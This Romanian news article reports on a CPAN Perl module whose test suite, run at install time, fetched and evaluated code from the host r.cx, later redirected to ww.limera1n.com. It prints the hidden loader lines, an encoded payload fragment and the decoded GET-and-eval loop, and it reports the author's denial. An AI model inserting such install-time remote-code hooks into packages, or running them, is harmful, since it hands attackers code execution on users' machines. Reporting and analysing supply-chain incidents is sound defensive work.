În pachetul Perl distribuit prin catalogul CPAN , destinat încărcării automate a modulelor CPAN în timpul executării, un cod malițios. Inserția malițioasă a fost în codul testului , care este livrat din 2011.
Este demn de remarcat că întrebările legate de încărcarea codului suspect au apărut încă din 2016.
Activitatea malițioasă constă în încercarea de a încărca și executa cod de pe un server extern (http://r.cx:1/) în timpul executării suitei de teste, care este declanșată la instalarea modulului. Se presupune că codul inițial încărcat de pe serverul extern nu era malițios, dar acum cererea este redirecționată către domeniul ww.limera1n.com, care oferă porțiunea sa de cod pentru a fi executat.
Pentru organizarea încărcării, în fișier este utilizat următorul cod:
my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;
Codul specificat conduce la executarea scriptului , al cărui conținut se rezumă la următoarea linie:
use lib do{eval&&&botstrap(«RCX»)if$b=new IO::Socket::INET 82.46.99.88.»:1″};
Acest script încarcă prin intermediul serviciului de pe un host extern r.cx (codurile simbolurilor 82.46.99.88 corespund textului «R.cX») și îl execută în blocul eval.
$ perl -MIO::Socket -e’$b=new IO::Socket::INET 82.46.99.88.»:1″; print ;’
eval unpack u=>q{_<'I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}
După dezarhivare, se execută următorul :
print{$b=new IO::Socket::INET»ww.limera1n.com:80″}»GET /iJailBreak
«;evalor return warn$@while$b;1
În prezent, pachetul problematic a fost eliminat din depozitul (Perl Authors Upload Server), iar contul autorului modulului a fost blocat. Cu toate acestea, modulul rămâne în arhiva MetaCPAN și poate fi instalat direct din MetaCPAN cu ajutorul unor utilitare precum cpanminus. , că pachetul nu a fost răspândit pe o scară largă.
Este interesant că la discuție și autorul modulului, care a dezmințit informația că un cod malițios a fost inserat după hack-ul site-ului său „r.cx” și a explicat că s-a distrat pur și simplu, iar perlobfuscator.com nu a fost folosit pentru a ascunde ceva, ci pentru a reduce dimensiunea codului și a simplifica copierea acestuia prin clipboard. Alegerea numelui funcției „botstrap” este explicată prin faptul că acest cuvânt „sună ca bot și este mai scurt decât bootstrap”. Autorul modulului a asigurat, de asemenea, că manipulările identificate nu efectuează acțiuni malițioase, ci doar demonstrează încărcarea și executarea codului prin TCP.
Sursa: opennet.ro
